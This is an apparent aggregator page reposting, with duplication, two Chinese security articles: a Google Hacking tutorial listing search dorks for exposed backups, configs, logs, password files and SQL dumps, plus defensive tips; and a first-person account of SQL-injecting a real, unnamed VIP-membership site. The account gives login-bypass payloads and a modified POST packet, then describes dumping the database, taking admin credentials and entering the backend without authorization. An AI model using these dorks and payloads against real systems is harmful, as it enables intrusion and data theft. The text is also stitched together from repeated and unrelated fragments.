  另外这个功能还有个副作用,就是谷歌也不能缓存,一举两得。
  五、十五条防止信息泄露和服务器入侵的措施
  1.检查所有的文档能否被Google搜索到,避免敏感文件能出现在公众的视野中
  2.选择一个强大的自动化工具来扫描你网站上是否有信息的泄露
  3.不要使用默认的登录入口,以防止登录入口被hacker猜解
  4.关闭数据库的远程管理工具
  5.删除明显的显示软件版本的信息
  6.配置服务器只能下载特定的文件类型(白名单比黑名单要简单有效得多)
  7.正确的配置你的服务器,不要抱有侥幸心理,任何的松懈带来的灾难是巨大的
  8.不要把源码的备份放在未经授权就能访问的地方,并且及时删除网站上的无用的备份文件
  9.不要使用弱密码,防止攻击者轻易攻破后台
  10.登录请加上强度相对较高的验证手段,防止攻击者采用爆破的手段
  11.关闭服务器不必要的端口
  12.请不要使用网站上的任何信息作为密码,否则都属于容易爆破的类型
  13.备份的源代码请经过专业的混淆,防止被下载之后轻易读取到内容
  14.及时更新服务器的系统,修复潜在的漏洞
  15.安装正规的安全防护软件
  0X04 总结
  亲爱的读者,读到这里真的是辛苦了,我上面讲的这些只是冰山一角,Google能做到的绝对超乎你的想象,如果大家对渗透测试、Google Hacking或者服务器防范感兴趣可以访问我的github我会把我了解的更多的信息告诉你,而且还会介绍一些谷歌黑客数据库的知识(如果喜欢的话也欢迎你们fork或者star)
  下面是我的github地址:
  * 本文作者:K0rz3n,本文属FreeBuf原创奖励计划,未经许可禁止转载

php抓取网页数据实例 Google Hacking信息刺探的攻与防

网站优化优采云 发表了文章 • 0 个评论 • 80 次浏览 • 2022-06-23 23:06 • 来自相关话题

  php抓取网页数据实例 Google Hacking信息刺探的攻与防
  我们都知道渗透测试中信息收集的重要性,是第一步也是最重要的一步。有的人渗透测试使出浑身解数破门而不入,可对有的人来说却如同囊中取物,也许功力就是差在信息收集,那么现在就让我带领各位读者重新认识一下Google———你军火库中的“大咖” 。(前面基础部分希望大家不要错过,说不定有你不知道的秘密,各位服务器管理员也不要错过最后的彩蛋哦!)
  0X01 你不得不知道的谷歌基础一、谷歌周边
  1.谷歌图片
  谷歌图片是一个图片识别的非常强大的工具,一张你不知道来源的图片上传之后不仅能知道来源,还能自动寻找相似图片。
  
  2.谷歌地球
  坐看世界各地,笑看云卷云舒,渗透之前看看渗透的地方长啥样对吧…
  
  3.谷歌论坛
  信息收集的重要地点,谷歌背后的繁荣之地(多得是你不知道的事)
  
  4.谷歌日历
  记录你生活的点点滴滴,有时却给hacker留下了巨大的财富
  5.谷歌地图
  找到你回家的路,跑路的重要工具…..
  6.谷歌高级搜索
  这个功能异常强大,更加能满足你的需要
  
  7.谷歌自定义搜索引擎
  
  8.GHDB 谷歌黑客数据库
  这一部分我会放在github中会仔细的讲一下,链接地址在本文下方,希望大家关注
  
  二、搜索基础
  1.查询是不区分大小写(OR在表示布尔含义时一定要大写)
  2.在谷歌搜索的时候只能当做*一个单词使用
  3.谷歌有32词的搜索限制(当然可以通过*代替某些单词突破这种限制)
  4.短语搜索要带上单引号
  5.AND对谷歌来说是多余的,谷歌会自动查询你输入的一切
  6.谷歌会忽略特别常见的字符,但是前面加上”+”强制搜索(+后面不能有空格)
  7.NOT可以使用”-“(减号代替)
  8.布尔查询OR/“|”
  0X02 不得不说的高级运算符一、总览
  intitle,allintitle
  inurl,allinurl
  filetype
  allintext
  site
  link
  inanchor
  datarange
  cache
  info
  related
  phonebook
  rphonebook
  bphonebook
  uthor
  group
  msgid
  insubject
  stocks
  define
  使用方法:
  operator:search
  注意点:
  1.在操作符、冒号、搜索项之间没有空格
  2.all运算符(以all开头的运算符)都是有些奇怪的,通常一个查询只能使用一次,而且不能和其他运算符一起使用
  ①allintitle 会告诉谷歌,它后面的每一个单词或者短语都要在标题中出现
  ②allintext 在除了标题、URL、链接以外的任何地方找到某个内容(它后面的每一个单词或者短语都要在内容中出现)
  3.intitle:”index of”等价于 intitle:index.of
  因为‘.’休止符能够代替任何字符(这个技术也提供了一个无需键入空格和两边引号的短语)
  4.intitle:”index of” private 能返回标题中有index of 以及在任何地方有 private的页面(intitle只对其后面第一个搜索项有效)
  二、常见运算符解释
  site 把搜索精确到特定的网站
  site 允许你搜索仅仅位于一个特定服务器上的或者在一个特定域名里的页面
  filetype 搜索特定后缀的文件
  搜索以一个特别的文件扩展名结尾的页面,谷歌会以网页快照的形式来将这种格式转换成html页面,但是你直接点击标题就会下载
  link 包含指定网页的链接的网页
  搜索包含指定网页的链接的网页,link后面跟的是完整的URL可以包含目录名、文件名、参数等,信息量越大查询结果越精确。
  注意
  1. 不要认为 Link能搜索链接中的文本,inanchor才执行的是这个操作,如果输入错误,那么并不会执行link查询而是把[link:短语]当做一个整体直接默认查询
  2. link运算符不能和其他运算符一起使用
  inanchor 寻找链接的锚点
  inanchor 用于寻找链接的锚点,或者在链接中显示的文本(就是显示在页面上的提供点击的文字)
  cache 显示页面的缓存版本
  直接跳转到页面的缓存版本
  numberange 搜索一个数字
  numberange 需要两个参数,一个低位数字,一个高位数字,中间用连字符分割
  例如:
  为了找到12345 numberange:12344-12346
  注意:
  1.这个运算符还有简化版, 12344..12346
  2.可以和其他运算符一起使用
  daterange 搜索在特定日期范围内发布的页
  谷歌每次重新抓取一个网页网页的日期就会刷新
  两个参数日期都必须是自公元前4713年1月1日起经过的天数,中间用连字符分割但(不如使用谷歌的高级搜索引擎实现)
  info 显示谷歌的总结信息
  显示一个网站的总结信息还提供了可能关于该网站的其他搜索链接
  注意:
  info不能和其他运算符一起使用
  related 显示相关站点
  参数是一个URL
  注意:
  1.点击类似网页链接和使用高级搜索引擎能实现相同的功能
  2.不能和其他运算符一起使用
  define 显示一个术语的定义
  此处语言苍白……
  0X03 Google Hacking 基础文件类一、目录列表的查找
  目录列表能列出存在于一个web服务器上的文件和目录
  查找目录列表
  实例:
  intitle:index.of 这里的休止符代表的是单个字母的通配符
  
  更优化的查找
  实例:
  intitle:index.of “parent directory”
  intitle:index.of name size
  二、(特定版本的)服务器
  能被攻击者用来决定攻击web服务器最佳方法的一小段信息,就是确切的服务器版本
  实例:
  intitle:index.of “server at”
  intitle:index.of “Apache/1.3.27 Server at”
  
  我们还可以确定服务器的操作系统、模块和其他信息
  我们会把操作系统写在括号里
  Apache/1/3/26(Unix)
  CentOS
  Debian
  Debian GNU/Linux
  Fedora
  FreeBSD
  Linux/SUSE
  Linux/SuSE
  NETWRE
  Red Hat
  Ubuntu
  UNIX
  Win32
  攻击者能结合这个操作系统标签里的信息以及web服务器的版本制定有针对性的攻击
  三、扩展遍历技术
  经常会出现web页面的备份文件,他们有泄露源码的倾向。常常在配置错误的时候出现这种问题,把php代码备份到不是以php结尾的文件中,比如bak
  实例:
  intitle:index.of index.php.bak
  inurl:index.php.bak
  
  四、配置文件的查找
  配置文件的存在说明服务就在附近
  实例:
  filetype:conf inurl:firewall
  
  如果你能知道配置文件的名字也是一个非常好的搜索方式,当然你可以从配置文件中抽取特定的字符串来查询,如果能再配上软件名字的话就效果更好了
  注意:
  1.除了配置文件名conf的使用,也可以组合其他的通用的命名规则来查找其他等价的命名规则
  inurl:conf OR inurl:config OR inurl:cfg
  五、日志文件的查找
  日志文件中也记录着日志很多的敏感信息
  日志文件也有一个默认的名字可以被我们用作基础的搜索,最常见的扩展名就是log了
  实例:
  filetype:log inurl:log
  ext log log
  filetype:log username putty
  
  六、office文档
  实例:
  filetype:xls inurl:password.xls
  filetype:xls username password email
  
  数据库、后台类一、登录入口
  登录入口是第一道防线,很容易泄露软硬件的信息
  查找入口一般使用关键字login
  大的厂商一般会把版权的注意事项放在页面的底部
  实例:
  intitle:login intext:版权信息
  
  二、错误消息
  数据库的错误消息能够用来分析操作系统和web服务器的版本,还可能更多
  SQL command not properly ended
  这个表示没有在sql语句的最后找到正确的终止符,所以可能会被用于注入攻击
  三、数据库的转储
  数据库基于文本的转换在网络上是很常见的,使用数据库的转储数据库管理员能完整地重建数据库,也就意味着一个完整的转储的细节并不只是数据表格的结构还有每张表的每一条记录。
  攻击者可以搜索转储的标题 # Dumping data for table并且通过执行必要的关键词 username password等能够缩小范围
  实例:
  Dumping data for table(user|username|password|pass)
  还可以关注一些由别的工具添加到数据库转储中最后的文件名
  实例:
  filetype:sql sql
  
  四、真实的数据库文件
  攻击者还能直接搜索到数据库本身,并不适合所有的数据库系统,只适合哪些有着特定名字或者扩展名的数据库,因为是二进制文件,所以没法在里面搜索字符
  实例:
  filetype:mdb inurl:com
  
  0X4 如何防御Google Hackingweb 服务器的安全防护
  一、目录列表和丢失的索引文件
  .htaccess 可以来防止目录的内容未授权的访问,但是不当的配置还会让这个文件可见甚至可读
  在 apache 的服务器上可以通过 httpd.conf文件中的单词indexs前加一个连字符或者减号来禁止目录列表
  二、robots.txt
  #开头的行为会被认为是注释,每一个不以#开头的行为都会以 User- agent或者是一个 disallow 声明开头,表示禁止爬虫爬行的位置,但是也可以允许特定的爬虫访问。
  三、NOARCHIVE缓存杀手
  有时候你希望google住抓取某个页面但是又不希望对页面的副本进行缓存,或者搜索结果中显示缓存链接,这个要求可以通过META实现
  
  如果你只想阻止谷歌对文件的缓存,可以在HEAD节里使用
  
  四、NOSNIPET 去除摘要
  
  另外这个功能还有个副作用,就是谷歌也不能缓存,一举两得。
  五、十五条防止信息泄露和服务器入侵的措施
  1.检查所有的文档能否被Google搜索到,避免敏感文件能出现在公众的视野中
  2.选择一个强大的自动化工具来扫描你网站上是否有信息的泄露
  3.不要使用默认的登录入口,以防止登录入口被hacker猜解
  4.关闭数据库的远程管理工具
  5.删除明显的显示软件版本的信息
  6.配置服务器只能下载特定的文件类型(白名单比黑名单要简单有效得多)
  7.正确的配置你的服务器,不要抱有侥幸心理,任何的松懈带来的灾难是巨大的
  8.不要把源码的备份放在未经授权就能访问的地方,并且及时删除网站上的无用的备份文件
  9.不要使用弱密码,防止攻击者轻易攻破后台
  10.登录请加上强度相对较高的验证手段,防止攻击者采用爆破的手段
  11.关闭服务器不必要的端口
  12.请不要使用网站上的任何信息作为密码,否则都属于容易爆破的类型
  13.备份的源代码请经过专业的混淆,防止被下载之后轻易读取到内容
  14.及时更新服务器的系统,修复潜在的漏洞
  15.安装正规的安全防护软件
  0X04 总结
  亲爱的读者,读到这里真的是辛苦了,我上面讲的这些只是冰山一角,Google能做到的绝对超乎你的想象,如果大家对渗透测试、Google Hacking或者服务器防范感兴趣可以访问我的github我会把我了解的更多的信息告诉你,而且还会介绍一些谷歌黑客数据库的知识(如果喜欢的话也欢迎你们fork或者star)
  下面是我的github地址:
  * 本文作者:K0rz3n,本文属FreeBuf原创奖励计划,未经许可禁止转载 查看全部

  php抓取网页数据实例 Google Hacking信息刺探的攻与防
  我们都知道渗透测试中信息收集的重要性,是第一步也是最重要的一步。有的人渗透测试使出浑身解数破门而不入,可对有的人来说却如同囊中取物,也许功力就是差在信息收集,那么现在就让我带领各位读者重新认识一下Google———你军火库中的“大咖” 。(前面基础部分希望大家不要错过,说不定有你不知道的秘密,各位服务器管理员也不要错过最后的彩蛋哦!)
  0X01 你不得不知道的谷歌基础一、谷歌周边
  1.谷歌图片
  谷歌图片是一个图片识别的非常强大的工具,一张你不知道来源的图片上传之后不仅能知道来源,还能自动寻找相似图片。
  
  2.谷歌地球
  坐看世界各地,笑看云卷云舒,渗透之前看看渗透的地方长啥样对吧…
  
  3.谷歌论坛
  信息收集的重要地点,谷歌背后的繁荣之地(多得是你不知道的事)
  
  4.谷歌日历
  记录你生活的点点滴滴,有时却给hacker留下了巨大的财富
  5.谷歌地图
  找到你回家的路,跑路的重要工具…..
  6.谷歌高级搜索
  这个功能异常强大,更加能满足你的需要
  
  7.谷歌自定义搜索引擎
  
  8.GHDB 谷歌黑客数据库
  这一部分我会放在github中会仔细的讲一下,链接地址在本文下方,希望大家关注
  
  二、搜索基础
  1.查询是不区分大小写(OR在表示布尔含义时一定要大写)
  2.在谷歌搜索的时候只能当做*一个单词使用
  3.谷歌有32词的搜索限制(当然可以通过*代替某些单词突破这种限制)
  4.短语搜索要带上单引号
  5.AND对谷歌来说是多余的,谷歌会自动查询你输入的一切
  6.谷歌会忽略特别常见的字符,但是前面加上”+”强制搜索(+后面不能有空格)
  7.NOT可以使用”-“(减号代替)
  8.布尔查询OR/“|”
  0X02 不得不说的高级运算符一、总览
  intitle,allintitle
  inurl,allinurl
  filetype
  allintext
  site
  link
  inanchor
  datarange
  cache
  info
  related
  phonebook
  rphonebook
  bphonebook
  uthor
  group
  msgid
  insubject
  stocks
  define
  使用方法:
  operator:search
  注意点:
  1.在操作符、冒号、搜索项之间没有空格
  2.all运算符(以all开头的运算符)都是有些奇怪的,通常一个查询只能使用一次,而且不能和其他运算符一起使用
  ①allintitle 会告诉谷歌,它后面的每一个单词或者短语都要在标题中出现
  ②allintext 在除了标题、URL、链接以外的任何地方找到某个内容(它后面的每一个单词或者短语都要在内容中出现)
  3.intitle:”index of”等价于 intitle:index.of
  因为‘.’休止符能够代替任何字符(这个技术也提供了一个无需键入空格和两边引号的短语)
  4.intitle:”index of” private 能返回标题中有index of 以及在任何地方有 private的页面(intitle只对其后面第一个搜索项有效)
  二、常见运算符解释
  site 把搜索精确到特定的网站
  site 允许你搜索仅仅位于一个特定服务器上的或者在一个特定域名里的页面
  filetype 搜索特定后缀的文件
  搜索以一个特别的文件扩展名结尾的页面,谷歌会以网页快照的形式来将这种格式转换成html页面,但是你直接点击标题就会下载
  link 包含指定网页的链接的网页
  搜索包含指定网页的链接的网页,link后面跟的是完整的URL可以包含目录名、文件名、参数等,信息量越大查询结果越精确。
  注意
  1. 不要认为 Link能搜索链接中的文本,inanchor才执行的是这个操作,如果输入错误,那么并不会执行link查询而是把[link:短语]当做一个整体直接默认查询
  2. link运算符不能和其他运算符一起使用
  inanchor 寻找链接的锚点
  inanchor 用于寻找链接的锚点,或者在链接中显示的文本(就是显示在页面上的提供点击的文字)
  cache 显示页面的缓存版本
  直接跳转到页面的缓存版本
  numberange 搜索一个数字
  numberange 需要两个参数,一个低位数字,一个高位数字,中间用连字符分割
  例如:
  为了找到12345 numberange:12344-12346
  注意:
  1.这个运算符还有简化版, 12344..12346
  2.可以和其他运算符一起使用
  daterange 搜索在特定日期范围内发布的页
  谷歌每次重新抓取一个网页网页的日期就会刷新
  两个参数日期都必须是自公元前4713年1月1日起经过的天数,中间用连字符分割但(不如使用谷歌的高级搜索引擎实现)
  info 显示谷歌的总结信息
  显示一个网站的总结信息还提供了可能关于该网站的其他搜索链接
  注意:
  info不能和其他运算符一起使用
  related 显示相关站点
  参数是一个URL
  注意:
  1.点击类似网页链接和使用高级搜索引擎能实现相同的功能
  2.不能和其他运算符一起使用
  define 显示一个术语的定义
  此处语言苍白……
  0X03 Google Hacking 基础文件类一、目录列表的查找
  目录列表能列出存在于一个web服务器上的文件和目录
  查找目录列表
  实例:
  intitle:index.of 这里的休止符代表的是单个字母的通配符
  
  更优化的查找
  实例:
  intitle:index.of “parent directory”
  intitle:index.of name size
  二、(特定版本的)服务器
  能被攻击者用来决定攻击web服务器最佳方法的一小段信息,就是确切的服务器版本
  实例:
  intitle:index.of “server at”
  intitle:index.of “Apache/1.3.27 Server at”
  
  我们还可以确定服务器的操作系统、模块和其他信息
  我们会把操作系统写在括号里
  Apache/1/3/26(Unix)
  CentOS
  Debian
  Debian GNU/Linux
  Fedora
  FreeBSD
  Linux/SUSE
  Linux/SuSE
  NETWRE
  Red Hat
  Ubuntu
  UNIX
  Win32
  攻击者能结合这个操作系统标签里的信息以及web服务器的版本制定有针对性的攻击
  三、扩展遍历技术
  经常会出现web页面的备份文件,他们有泄露源码的倾向。常常在配置错误的时候出现这种问题,把php代码备份到不是以php结尾的文件中,比如bak
  实例:
  intitle:index.of index.php.bak
  inurl:index.php.bak
  
  四、配置文件的查找
  配置文件的存在说明服务就在附近
  实例:
  filetype:conf inurl:firewall
  
  如果你能知道配置文件的名字也是一个非常好的搜索方式,当然你可以从配置文件中抽取特定的字符串来查询,如果能再配上软件名字的话就效果更好了
  注意:
  1.除了配置文件名conf的使用,也可以组合其他的通用的命名规则来查找其他等价的命名规则
  inurl:conf OR inurl:config OR inurl:cfg
  五、日志文件的查找
  日志文件中也记录着日志很多的敏感信息
  日志文件也有一个默认的名字可以被我们用作基础的搜索,最常见的扩展名就是log了
  实例:
  filetype:log inurl:log
  ext log log
  filetype:log username putty
  
  六、office文档
  实例:
  filetype:xls inurl:password.xls
  filetype:xls username password email
  
  数据库、后台类一、登录入口
  登录入口是第一道防线,很容易泄露软硬件的信息
  查找入口一般使用关键字login
  大的厂商一般会把版权的注意事项放在页面的底部
  实例:
  intitle:login intext:版权信息
  
  二、错误消息
  数据库的错误消息能够用来分析操作系统和web服务器的版本,还可能更多
  SQL command not properly ended
  这个表示没有在sql语句的最后找到正确的终止符,所以可能会被用于注入攻击
  三、数据库的转储
  数据库基于文本的转换在网络上是很常见的,使用数据库的转储数据库管理员能完整地重建数据库,也就意味着一个完整的转储的细节并不只是数据表格的结构还有每张表的每一条记录。
  攻击者可以搜索转储的标题 # Dumping data for table并且通过执行必要的关键词 username password等能够缩小范围
  实例:
  Dumping data for table(user|username|password|pass)
  还可以关注一些由别的工具添加到数据库转储中最后的文件名
  实例:
  filetype:sql sql
  
  四、真实的数据库文件
  攻击者还能直接搜索到数据库本身,并不适合所有的数据库系统,只适合哪些有着特定名字或者扩展名的数据库,因为是二进制文件,所以没法在里面搜索字符
  实例:
  filetype:mdb inurl:com
  
  0X4 如何防御Google Hackingweb 服务器的安全防护
  一、目录列表和丢失的索引文件
  .htaccess 可以来防止目录的内容未授权的访问,但是不当的配置还会让这个文件可见甚至可读
  在 apache 的服务器上可以通过 httpd.conf文件中的单词indexs前加一个连字符或者减号来禁止目录列表
  二、robots.txt
  #开头的行为会被认为是注释,每一个不以#开头的行为都会以 User- agent或者是一个 disallow 声明开头,表示禁止爬虫爬行的位置,但是也可以允许特定的爬虫访问。
  三、NOARCHIVE缓存杀手
  有时候你希望google住抓取某个页面但是又不希望对页面的副本进行缓存,或者搜索结果中显示缓存链接,这个要求可以通过META实现
  
  如果你只想阻止谷歌对文件的缓存,可以在HEAD节里使用
  
  四、NOSNIPET 去除摘要
  
  另外这个功能还有个副作用,就是谷歌也不能缓存,一举两得。
  五、十五条防止信息泄露和服务器入侵的措施
  1.检查所有的文档能否被Google搜索到,避免敏感文件能出现在公众的视野中
  2.选择一个强大的自动化工具来扫描你网站上是否有信息的泄露
  3.不要使用默认的登录入口,以防止登录入口被hacker猜解
  4.关闭数据库的远程管理工具
  5.删除明显的显示软件版本的信息
  6.配置服务器只能下载特定的文件类型(白名单比黑名单要简单有效得多)
  7.正确的配置你的服务器,不要抱有侥幸心理,任何的松懈带来的灾难是巨大的
  8.不要把源码的备份放在未经授权就能访问的地方,并且及时删除网站上的无用的备份文件
  9.不要使用弱密码,防止攻击者轻易攻破后台
  10.登录请加上强度相对较高的验证手段,防止攻击者采用爆破的手段
  11.关闭服务器不必要的端口
  12.请不要使用网站上的任何信息作为密码,否则都属于容易爆破的类型
  13.备份的源代码请经过专业的混淆,防止被下载之后轻易读取到内容
  14.及时更新服务器的系统,修复潜在的漏洞
  15.安装正规的安全防护软件
  0X04 总结
  亲爱的读者,读到这里真的是辛苦了,我上面讲的这些只是冰山一角,Google能做到的绝对超乎你的想象,如果大家对渗透测试、Google Hacking或者服务器防范感兴趣可以访问我的github我会把我了解的更多的信息告诉你,而且还会介绍一些谷歌黑客数据库的知识(如果喜欢的话也欢迎你们fork或者star)
  下面是我的github地址:
  * 本文作者:K0rz3n,本文属FreeBuf原创奖励计划,未经许可禁止转载

php抓取网页数据实例 记一次SQL注入实战

网站优化优采云 发表了文章 • 0 个评论 • 73 次浏览 • 2022-06-19 12:36 • 来自相关话题

  php抓取网页数据实例 记一次SQL注入实战
  刚发现漏洞时,我就已经成功实现了注入,因为怕发到网上后被玩坏,一直没有发布。今天去看了看,原网页已经无法访问了,现在发出来应该就没有什么大问题了。
  本文仅供学习交流,目的是为了构建更加安全的网络环境!注入地址
  某VIP会员专用系统
  相关工具
  注入工具:
  超级SQL注入工具【SSQLInjection】
  明小子
  抓包工具:
  Wireshark
  注入过程
  1.测试漏洞
  1)测试 '
  首先打开网页,如下图:
  一看这种很low的系统就有可能存在漏洞
  废话不多说,输入单引号" ' "进行测试:
  
  输入单引号
  
  测试结果
  看到测试结果报数据库错误,这就证明该系统存在SQL注入漏洞。而且这些粗心的程序猿连数据库表名都直接暴露出来了(tp_login),这不就等于直接写着:
  "我有漏洞,欢迎注入!"
  2)测试 'or''='
  进一步测试,输入" 'or''=' ",点确定,直接就登录成功了,如下图
  
  输入" 'or''=' ",点确定
  
  登录成功
  不用密码,直接进去了,看来漏洞真的存在!
  3)测试 3389' and 1=1 and 'a'='a
  接下来测试下能不能使用注入语句,这里有两个选择:
  or语句前面已经有说明,这里就以知道密码的情况作说明(or语句原理相同)
  网页上直接给出了获取密码的方式:
  
  加群,拿到密码:3389
  构造新的注入语句:" 3389' and 1=1 and 'a'='a ",测试:
  
  再次成功登入,确认可以进行注入攻击。
  接下来就可以对数据库进行数据库名(前面提到,登录错误信息中已经包含了数据库名"tp_login",真是省事啊)、表名、列名……的猜测了
  手动猜测的具体方法可以参考这里:
  sql注入实例分析()
  当然手动猜测的量太大了,这么劳神费力的事当然要交给程序来完成,不过还是强烈建议看看这篇文章来了解下SQL注入的基本原理,不然后面操作一片茫然。
  2.构造数据包
  因为该系统不能简单通过网页URL来传递信息,所以我们需要构造数据包以POST方式发送数据包来注入。
  1)手动构造:
  根据POST数据包结构手动构造一个用于注入的数据包,具体怎么构造那就要去好好学习网络协议了……
  2)抓包构造
  这就简单多了,我们直接抓取正常发送的数据包,加以改造就可以用来注入了!
  这里我们使用Wireshark来抓包,关于Wireshark抓取与分析HTTP包,参考这里:应用层协议FTP、DNS协议、HTTP协议分析()
  使用Wireshark抓取到的POST数据包内容如下:
  POST /index.php/Home/Public/do_login.html HTTP/1.1
  Host:
  Connection: keep-alive
  Content-Length: 8
  Cache-Control: max-age=0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Origin:
  Upgrade-Insecure-Requests: 1
  User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
  Content-Type: application/x-www-form-urlencoded
  Referer:
  Accept-Encoding: gzip, deflate
  Accept-Language: zh-CN,zh;q=0.8
  Cookie: PHPSESSID=*****************************; uid=11; num=1; time=2016-07-30+10%3A55%3A47; a7207_pages=22; a7207_times=1
  key=3389
  修改成注入使用的POST包:
  POST /index.php/Home/Public/do_login.html HTTP/1.1
  Referer:
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
  Content-Type: application/x-www-form-urlencoded
  Accept-Encoding: gzip, deflate
  Content-Length: 8
  Host:
  Connection: Keep-Alive
  Pragma: no-cache
  Cookie: PHPSESSID=*****************************; uid=11; num=1; time=2016-07-30+10%3A55%3A47; a7207_pages=22; a7207_times=1
  key=3389%')#inject##
  这个数据包可以由软件"超级SQL注入工具"根据上面的包自动生成,具体操作请参考软件压缩包中相应的使用说明。
  3.注入
  
  其实我们只要将抓取到的数据包粘进程序中,然后点击"自动识别",软件就会自动进行相应配置,然后看情况改改就可以了(一般情况下,自动配置就可以搞定了)。
  配置完后,点击"发送数据"验证当前配置的数据包是否符合条件,若能够正确返回网页信息,则配置可用:
  
  正确返回网页信息
  虽然图中显示"登录失败",但证明可以正确返回网页信息,配置可用!
  4.获取数据库信息
  点击获取数据
  
  获取数据
  然后转到数据中心,依次"获取库"、"获取表"、"获取列"、"获取数据":
  
  数据库信息一览无余
  可以看到,确实有名为"tp_login"的表和"3389"这个密码。
  接下来就可以随心所欲的获取数据了。
  获取到的数据
  获取到的管理员账号信息:
  
  管理员账号信息
  有了管理员账号信息,如何使用呢?上第二个软件:"明小子",其实它本身就是一个注入工具,不知道是不是年代太久远了……好多功能不实用。这里我们只用到"管理入口扫描"功能,如下图:
  管理入口扫描
  获取到了4个链接,挨个打开看,发现这个可以用:
  
  管理员登录
  输入账号密码,登录
  
  登录成功
  登录成功,看到笑脸真是开心!
  
  成功进入后台
  成功进入管理后台,发现并没有什么价值的信息,倒是有很多某视频网站的VIP账号,也不造这些万人骑的账号能不能用……
  至此,整个SQL注入成功完成!
  分割线
  --------------------------------------------------------------------------------------------------------
  声明:本公众号部分资源来源于网络,版权归原作者或者来源机构所有,如果有涉及任何版权方面的问题,请与及时与我们联系,我们将尽快妥善处理! 查看全部

  php抓取网页数据实例 记一次SQL注入实战
  刚发现漏洞时,我就已经成功实现了注入,因为怕发到网上后被玩坏,一直没有发布。今天去看了看,原网页已经无法访问了,现在发出来应该就没有什么大问题了。
  本文仅供学习交流,目的是为了构建更加安全的网络环境!注入地址
  某VIP会员专用系统
  相关工具
  注入工具:
  超级SQL注入工具【SSQLInjection】
  明小子
  抓包工具:
  Wireshark
  注入过程
  1.测试漏洞
  1)测试 '
  首先打开网页,如下图:
  一看这种很low的系统就有可能存在漏洞
  废话不多说,输入单引号" ' "进行测试:
  
  输入单引号
  
  测试结果
  看到测试结果报数据库错误,这就证明该系统存在SQL注入漏洞。而且这些粗心的程序猿连数据库表名都直接暴露出来了(tp_login),这不就等于直接写着:
  "我有漏洞,欢迎注入!"
  2)测试 'or''='
  进一步测试,输入" 'or''=' ",点确定,直接就登录成功了,如下图
  
  输入" 'or''=' ",点确定
  
  登录成功
  不用密码,直接进去了,看来漏洞真的存在!
  3)测试 3389' and 1=1 and 'a'='a
  接下来测试下能不能使用注入语句,这里有两个选择:
  or语句前面已经有说明,这里就以知道密码的情况作说明(or语句原理相同)
  网页上直接给出了获取密码的方式:
  
  加群,拿到密码:3389
  构造新的注入语句:" 3389' and 1=1 and 'a'='a ",测试:
  
  再次成功登入,确认可以进行注入攻击。
  接下来就可以对数据库进行数据库名(前面提到,登录错误信息中已经包含了数据库名"tp_login",真是省事啊)、表名、列名……的猜测了
  手动猜测的具体方法可以参考这里:
  sql注入实例分析()
  当然手动猜测的量太大了,这么劳神费力的事当然要交给程序来完成,不过还是强烈建议看看这篇文章来了解下SQL注入的基本原理,不然后面操作一片茫然。
  2.构造数据包
  因为该系统不能简单通过网页URL来传递信息,所以我们需要构造数据包以POST方式发送数据包来注入。
  1)手动构造:
  根据POST数据包结构手动构造一个用于注入的数据包,具体怎么构造那就要去好好学习网络协议了……
  2)抓包构造
  这就简单多了,我们直接抓取正常发送的数据包,加以改造就可以用来注入了!
  这里我们使用Wireshark来抓包,关于Wireshark抓取与分析HTTP包,参考这里:应用层协议FTP、DNS协议、HTTP协议分析()
  使用Wireshark抓取到的POST数据包内容如下:
  POST /index.php/Home/Public/do_login.html HTTP/1.1
  Host:
  Connection: keep-alive
  Content-Length: 8
  Cache-Control: max-age=0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Origin:
  Upgrade-Insecure-Requests: 1
  User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
  Content-Type: application/x-www-form-urlencoded
  Referer:
  Accept-Encoding: gzip, deflate
  Accept-Language: zh-CN,zh;q=0.8
  Cookie: PHPSESSID=*****************************; uid=11; num=1; time=2016-07-30+10%3A55%3A47; a7207_pages=22; a7207_times=1
  key=3389
  修改成注入使用的POST包:
  POST /index.php/Home/Public/do_login.html HTTP/1.1
  Referer:
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
  Content-Type: application/x-www-form-urlencoded
  Accept-Encoding: gzip, deflate
  Content-Length: 8
  Host:
  Connection: Keep-Alive
  Pragma: no-cache
  Cookie: PHPSESSID=*****************************; uid=11; num=1; time=2016-07-30+10%3A55%3A47; a7207_pages=22; a7207_times=1
  key=3389%')#inject##
  这个数据包可以由软件"超级SQL注入工具"根据上面的包自动生成,具体操作请参考软件压缩包中相应的使用说明。
  3.注入
  
  其实我们只要将抓取到的数据包粘进程序中,然后点击"自动识别",软件就会自动进行相应配置,然后看情况改改就可以了(一般情况下,自动配置就可以搞定了)。
  配置完后,点击"发送数据"验证当前配置的数据包是否符合条件,若能够正确返回网页信息,则配置可用:
  
  正确返回网页信息
  虽然图中显示"登录失败",但证明可以正确返回网页信息,配置可用!
  4.获取数据库信息
  点击获取数据
  
  获取数据
  然后转到数据中心,依次"获取库"、"获取表"、"获取列"、"获取数据":
  
  数据库信息一览无余
  可以看到,确实有名为"tp_login"的表和"3389"这个密码。
  接下来就可以随心所欲的获取数据了。
  获取到的数据
  获取到的管理员账号信息:
  
  管理员账号信息
  有了管理员账号信息,如何使用呢?上第二个软件:"明小子",其实它本身就是一个注入工具,不知道是不是年代太久远了……好多功能不实用。这里我们只用到"管理入口扫描"功能,如下图:
  管理入口扫描
  获取到了4个链接,挨个打开看,发现这个可以用:
  
  管理员登录
  输入账号密码,登录
  
  登录成功
  登录成功,看到笑脸真是开心!
  
  成功进入后台
  成功进入管理后台,发现并没有什么价值的信息,倒是有很多某视频网站的VIP账号,也不造这些万人骑的账号能不能用……
  至此,整个SQL注入成功完成!
  分割线
  --------------------------------------------------------------------------------------------------------
  声明:本公众号部分资源来源于网络,版权归原作者或者来源机构所有,如果有涉及任何版权方面的问题,请与及时与我们联系,我们将尽快妥善处理!

php抓取网页数据实例 Python Web框架大列兵,写给初学者的Web框架介绍

